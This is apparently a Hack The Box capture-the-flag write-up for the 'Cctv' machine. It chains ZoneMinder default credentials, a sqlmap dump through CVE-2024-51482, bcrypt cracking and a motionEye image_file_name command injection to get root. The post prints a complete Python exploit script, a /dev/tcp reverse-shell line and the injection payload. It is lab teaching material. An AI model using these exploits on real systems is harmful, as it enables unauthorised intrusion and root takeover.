Hackthebox: Cctv

Foued SAIDI Lv5

Overview

Cctv is an easy-difficulty Linux machine from Hack The Box centered around a ZoneMinder surveillance instance. We start by discovering a ZoneMinder deployment that accepts the default admin:admin credentials, then abuse CVE-2024-51482, a time-based blind SQL injection in the tid parameter, to dump the Users table and pull out three bcrypt hashes. We crack mark‘s hash to opensesame and SSH in as mark. Enumerating listening services reveals a locally-bound motionEye instance on port 8765, whose admin password hash we recover from /etc/motioneye/motion.conf. After port-forwarding it back to our box, we exploit a command injection in motionEye’s image_file_name configuration field, which gets passed through a shell during snapshot handling, to land a reverse shell as root and read both the user and root flags.

Cctv-info-card
Cctv-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have our usual ssh and http ports. The web server redirects us to cctv.htb, so we add it to our /etc/hosts file and browse to it:

1
http://cctv.htb/

ZoneMinder Default Credentials

Poking around the application, we find a ZoneMinder login panel exposed at /zm/:

1
Login: http://cctv.htb/zm/

The running version is ZoneMinder v1.37.63:

1
ZoneMinder v1.37.63

Before doing anything fancy, we try the classic default credentials, and they work:

1
default login accepted admin:admin

CVE-2024-51482 - Time-based Blind SQLi

With a valid session in hand, we look for known vulnerabilities affecting this ZoneMinder version and land on BwithE/CVE-2024-51482: CVE-2024-51482 ZoneMinder v1.37.* <= 1.37.64 poc .

CVE-2024-51482 is a time-based blind SQL injection vulnerability in ZoneMinder versions up to and including 1.37.64 . The vulnerable parameter is tid in the following endpoint: /zm/index.php?view=request&request=event&action=removetag&tid= User input is passed directly into a MySQL query without sanitisation, allowing time-based data extraction even without error messages in the response.

Since this is a blind injection, we let sqlmap do the heavy lifting. We feed it our authenticated ZMSESSID cookie and target the tid parameter, restricting it to the time-based technique to dump the Username and Password columns from the Users table:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
$ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=6q8tko04i5hl6rlvu2f1nddiqt" \
-D zm \
-T Users \
-C Username,Password \
--dump \
--batch \
--dbms=MySQL \
--technique=T \
--time-sec=2
___
__H__
___ ___[)]_____ ___ ___ {1.10.2#stable}
|_ -| . ["] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:23:41 /2026-03-11/

[00:23:41] [INFO] testing connection to the target URL
[00:23:42] [INFO] checking if the target is protected by some kind of WAF/IPS
[00:23:44] [WARNING] heuristic (basic) test shows that GET parameter 'view' might not be injectable
[00:23:44] [INFO] testing for SQL injection on GET parameter 'view'
[00:23:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:23:44] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[00:24:07] [WARNING] GET parameter 'view' does not seem to be injectable
[00:24:08] [WARNING] heuristic (basic) test shows that GET parameter 'request' might not be injectable
[00:24:09] [INFO] testing for SQL injection on GET parameter 'request'
[00:24:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:24:12] [WARNING] GET parameter 'request' does not seem to be injectable
[00:24:13] [WARNING] heuristic (basic) test shows that GET parameter 'action' might not be injectable
[00:24:14] [INFO] testing for SQL injection on GET parameter 'action'
[00:24:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:24:17] [WARNING] GET parameter 'action' does not seem to be injectable
[00:24:18] [WARNING] heuristic (basic) test shows that GET parameter 'tid' might not be injectable
[00:24:18] [INFO] testing for SQL injection on GET parameter 'tid'
[00:24:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:24:25] [INFO] GET parameter 'tid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[00:24:25] [INFO] checking if the injection point on GET parameter 'tid' is a false positive
GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
---
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 3182 FROM (SELECT(SLEEP(2)))ujdj)
---
[00:24:38] [INFO] the back-end DBMS is MySQL
[00:24:38] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[00:24:43] [INFO] fetching entries of column(s) 'Password,Username' for table 'Users' in database 'zm'
[00:24:43] [INFO] fetching number of column(s) 'Password,Username' entries for table 'Users' in database 'zm'
[00:24:43] [INFO] retrieved: 3
[00:24:56] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[00:37:01] [INFO] retrieved: superadmin
[00:38:39] [INFO] retrieved: $2y$10$prZGnaz
[00:41:35] [ERROR] invalid character detected. retrying..
ejKcu
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
Tv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[00:50:47] [INFO] retrieved: mark
[00:51:25] [INFO] retrieved: $2y$10$t5z8u
[00:54:05] [ERROR] invalid character detected. retrying..
IT
[00:54:41] [ERROR] invalid character detected. retrying..
[00:54:56] [ERROR] invalid character detected. retrying..
[00:55:08] [ERROR] invalid character detected. retrying..
.
[00:55:41] [ERROR] invalid character detected. retrying..
n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[01:04:30] [INFO] retrieved: admin
Database: zm
Table: Users
[3 entries]
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+

[01:05:19] [INFO] table 'zm.Users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/cctv.htb/dump/zm/Users.csv'
[01:05:19] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1710 times
[01:05:19] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cctv.htb'

[*] ending @ 01:05:19 /2026-03-11/


After a fairly slow extraction (that’s the price of time-based blind injection), we walk away with three bcrypt hashes belonging to superadmin, mark and admin.

Cracking the Hash

We drop mark‘s bcrypt hash into a file and let john chew on it with rockyou.txt:

1
2
3
4
5
6
7
8
9
10
$ john  -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
opensesame (?)
1g 0:00:00:23 DONE (2026-03-11 00:29) 0.04171g/s 249.3p/s 249.3c/s 249.3C/s march23..tuyyo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

And we get valid SSH credentials:

1
mark:opensesame

Enumerating as mark

SSHing in as mark, we take a look at the listening services to see what’s bound locally that isn’t exposed externally:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mark@cctv:~$ netstat -anot
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8554 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:9081 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8765 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:1935 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:7999 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 3105 1799891 127.0.0.1:8554 127.0.0.1:33552 ESTABLISHED probe (1.28/0/0)
tcp 0 880 10.129.4.178:22 10.10.16.163:46400 ESTABLISHED on (0.43/0/0)
tcp 108936 0 127.0.0.1:33552 127.0.0.1:8554 ESTABLISHED off (0.00/0/0)
tcp 0 1 10.129.4.178:51036 8.8.8.8:53 SYN_SENT on (1.22/6/0)
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)

One of these locally-bound services stands out. Port 8765 is a motionEye instance, a web frontend for the motion surveillance daemon:

1
Port 8765 (motionEye)

Before we can authenticate to it, we need its admin credentials. motionEye stores its admin password hash directly in its motion configuration file, so we grep for it:

1
2
3
mark@cctv:~$ grep admin_password /etc/motioneye/motion.conf
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

motionEye Command Injection - RCE as root

Since motionEye only listens on 127.0.0.1, we forward port 8765 back to our own machine over SSH so we can talk to its API directly:

1
$ ssh -L 8765:127.0.0.1:8765 [email protected]

motionEye lets you configure a camera’s image_file_name, the template used to name saved snapshots. When a picture is saved, motion passes the resulting file path to a shell script (on_picture_save). Because the value is expanded straight into a shell command, injecting a shell metacharacter such as ; lets us break out and run arbitrary commands. The exploit below authenticates to the API using the recovered admin hash (motionEye signs requests with a SHA1 signature derived from it), sets image_file_name to a payload that runs our staged reverse shell, then triggers a snapshot to fire it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
mark@cctv:~$ mv /tmp/pwn.sh  /tmp/rev.sh
mark@cctv:~$ sed -i "s/possible_keys = [.*/possible_keys = ['image_file_name']/" /tmp/exploit.py
sed: -e expression #1, char 58: unterminated `s' command
mark@cctv:~$ sed -i "s|possible_keys = .*|possible_keys = ['image_file_name']|" /tmp/exploit.py
mark@cctv:~$ python3 /tmp/exploit.py exploit 10.10.16.163 4444
[*] Attacker: 10.10.16.163:4444
[*] Step 1: Fetching current camera config...
[+] Got config with 116 keys
email_notifications_picture_time_span = 0
image_file_name = $("sh -i >& /dev/tcp/10.10.16.163/9001 0>&1").%Y-%m-%d-%H-%M-%S
manual_snapshots = True
movie_file_name = %Y-%m-%d/%H-%M-%S
name = CAM 01
network_share_name =
network_username =
preserve_pictures = 0
snapshot_interval = 0
telegram_notifications_picture_time_span = 0
upload_picture = True
upload_username =
[+] Found picture filename key: image_file_name = $("sh -i >& /dev/tcp/10.10.16.163/9001 0>&1").%Y-%m-%d-%H-%M-%S
[*] Step 2: Setting image_file_name = '%Y-%m-%d;bash /tmp/rev.sh;'
[*] Set config result: {"reload": false, "reboot": false, "error": null}
[+] Config set successfully!
[*] Step 3: Triggering snapshot via POST...
[*] Snapshot result: {}
[*] Waiting 3s and triggering another snapshot...
[*] Second snapshot result: {}

[+] Exploit sent! Check your listener on 10.10.16.163:4444
[*] Original image_file_name was: $("sh -i >& /dev/tcp/10.10.16.163/9001 0>&1").%Y-%m-%d-%H-%M-%S
mark@cctv:~$ cat /tmp/exploit.py
#!/usr/bin/env python3
"""
motionEye picture_filename command injection exploit
Target: CCTV (HTB Easy Linux)
Vector: motionEye API -> set image_file_name with shell metachar -> trigger snapshot -> RCE

The on_picture_save handler passes %f (full file path) to a shell script.
Motion expands image_file_name into the path. If image_file_name contains ';',
the shell interprets it as a command separator, executing injected commands.

Fixes applied vs original:
1. possible_keys now includes 'image_file_name' (correct motionEye key)
2. Snapshot trigger uses POST instead of GET (motionEye requires POST)
3. Error check uses result.get("error") is not None (null != error)
"""
import hashlib
import json
import re
import sys
import urllib.parse
import urllib.request

MOTIONEYE_URL = "http://127.0.0.1:8765"
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0"
_SIGNATURE_REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]\":, -]')


def compute_signature(method, path, body, key):
"""Exact replica of motioneye.utils.compute_signature"""
parts = list(urllib.parse.urlsplit(path))
query = [
q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True)
if q[0] != '_signature'
]
query.sort(key=lambda q: q[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
query = '&'.join([q[0] + '=' + q[1] for q in query])
parts[0] = parts[1] = ''
parts[3] = query
path = urllib.parse.urlunsplit(parts)
path = _SIGNATURE_REGEX.sub('-', path)
key = _SIGNATURE_REGEX.sub('-', key)

body_str = body
if body_str and body_str.startswith('---'):
body_str = None
body_str = body_str and _SIGNATURE_REGEX.sub('-', body_str)

return hashlib.sha1(
('{}:{}:{}:{}'.format(method, path, body_str or '', key)).encode('utf-8')
).hexdigest().lower()


def make_request(method, path, body=None):
"""Make a signed request to motionEye API"""
body_str = body or ''
sig = compute_signature(method, path, body_str, ADMIN_HASH)
separator = '&' if '?' in path else '?'
url = MOTIONEYE_URL + path + separator + '_signature=' + sig

data = body.encode('utf-8') if body else None
req = urllib.request.Request(url, data=data, method=method)
if body:
req.add_header('Content-Type', 'application/json')

try:
resp = urllib.request.urlopen(req)
return json.loads(resp.read().decode('utf-8'))
except urllib.error.HTTPError as e:
err_body = ''
try:
err_body = e.read().decode('utf-8')
except:
pass
return {"error": str(e), "status": e.code, "body": err_body}
except Exception as e:
return {"error": str(e)}


def cmd_get():
"""GET current camera config - inspect the JSON format"""
print("[*] Getting camera 1 config...")
result = make_request("GET", "/config/1/get?_username=admin")
if result.get("error") is not None:
print(f"[-] Error: {result}")
return None
print(json.dumps(result, indent=2))
return result


def cmd_exploit(attacker_ip, port):
"""Full exploit chain: set image_file_name -> trigger snapshot"""
print(f"[*] Attacker: {attacker_ip}:{port}")

# Step 1: Get current config
print("[*] Step 1: Fetching current camera config...")
config = make_request("GET", "/config/1/get?_username=admin")
if config.get("error") is not None:
print(f"[-] Failed to get config: {config}")
return False

print(f"[+] Got config with {len(config)} keys")

# Show current filename related keys
for key in sorted(config.keys()):
kl = key.lower()
if 'picture' in kl or 'snapshot' in kl or 'file' in kl or 'name' in kl:
print(f" {key} = {config[key]}")

payload_cmd = "bash /tmp/rev.sh"

# FIX 1: Added 'image_file_name' as the correct motionEye key
possible_keys = ['image_file_name']

# Find the correct key from config
target_key = None
for k in possible_keys:
if k in config:
target_key = k
print(f"[+] Found picture filename key: {k} = {config[k]}")
break

if not target_key:
print("[!] No known key found. All config keys:")
for k in sorted(config.keys()):
print(f" {k} = {config[k]}")
print("[!] Trying 'image_file_name' anyway...")
target_key = 'image_file_name'

# Set the injection payload
original_value = config.get(target_key, '%Y-%m-%d-%H-%M-%S')
config[target_key] = f'%Y-%m-%d;{payload_cmd};'

body = json.dumps(config)
print(f"[*] Step 2: Setting {target_key} = '{config[target_key]}'")
result = make_request("POST", "/config/1/set?_username=admin", body)
print(f"[*] Set config result: {json.dumps(result)}")

# FIX 3: Check error correctly ("error": null is NOT a failure)
if result.get("error") is not None:
print("[-] Config set failed.")
return False

print("[+] Config set successfully!")

# Step 3: Trigger snapshot - FIX 2: Use POST instead of GET
import time
print("[*] Step 3: Triggering snapshot via POST...")
time.sleep(1)
result = make_request("POST", "/action/1/snapshot?_username=admin", '{}')
print(f"[*] Snapshot result: {json.dumps(result)}")

print("[*] Waiting 3s and triggering another snapshot...")
time.sleep(3)
result = make_request("POST", "/action/1/snapshot?_username=admin", '{}')
print(f"[*] Second snapshot result: {json.dumps(result)}")

print(f"\n[+] Exploit sent! Check your listener on {attacker_ip}:{port}")
print(f"[*] Original {target_key} was: {original_value}")

return True


def cmd_restore():
"""Restore original image_file_name to clean up"""
print("[*] Restoring original config...")
config = make_request("GET", "/config/1/get?_username=admin")
if config.get("error") is not None:
print(f"[-] Error: {config}")
return

for k in config:
kl = k.lower()
if 'image' in kl and 'file' in kl and 'name' in kl:
config[k] = '%Y-%m-%d-%H-%M-%S'
print(f"[*] Restoring {k} = '%Y-%m-%d-%H-%M-%S'")

body = json.dumps(config)
result = make_request("POST", "/config/1/set?_username=admin", body)
print(f"[*] Restore result: {json.dumps(result)}")


if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage:")
print(" python3 motioneye-rce-fixed.py get # Get current config")
print(" python3 motioneye-rce-fixed.py exploit <IP> [PORT] # Run full exploit")
print(" python3 motioneye-rce-fixed.py restore # Restore original config")
sys.exit(1)

cmd = sys.argv[1]

if cmd == "get":
cmd_get()
elif cmd == "exploit":
ip = sys.argv[2] if len(sys.argv) > 2 else "10.10.14.22"
port = sys.argv[3] if len(sys.argv) > 3 else "4444"
cmd_exploit(ip, port)
elif cmd == "restore":
cmd_restore()
else:
print(f"Unknown command: {cmd}")
mark@cctv:~$

Because the on_picture_save handler runs as root, our injected command executes with full privileges. We catch the shell on our listener and confirm we’re root, then grab both flags:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ rlwrap nc -lvnp 9001                        
listening on [any] 9001 ...
connect to [10.10.16.163] from (UNKNOWN) [10.129.4.178] 35832
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
283822a67f4703c7a35855a3610bf1ae
# ls /home
mark
sa_mark
# cat/sa_mark/user.txt
sh: 4: cat/sa_mark/user.txt: not found
# cat/home/sa_mark/user.txt
sh: 5: cat/home/sa_mark/user.txt: not found
# cat /home/sa_mark/user.txt
45d77d570489ee8d4f3d247beaff7db5
#

And that’s a wrap, we own the box from root.

Hope you liked this writeup!
-0xkujen

  • Title: Hackthebox: Cctv
  • Author: Foued SAIDI
  • Created at : 2026-07-14 12:00:00
  • Updated at : 2026-07-14 22:02:20
  • Link: https://kujen5.github.io/2026/07/14/Hackthebox-Cctv/
  • License: This work is licensed under CC BY-NC-SA 4.0.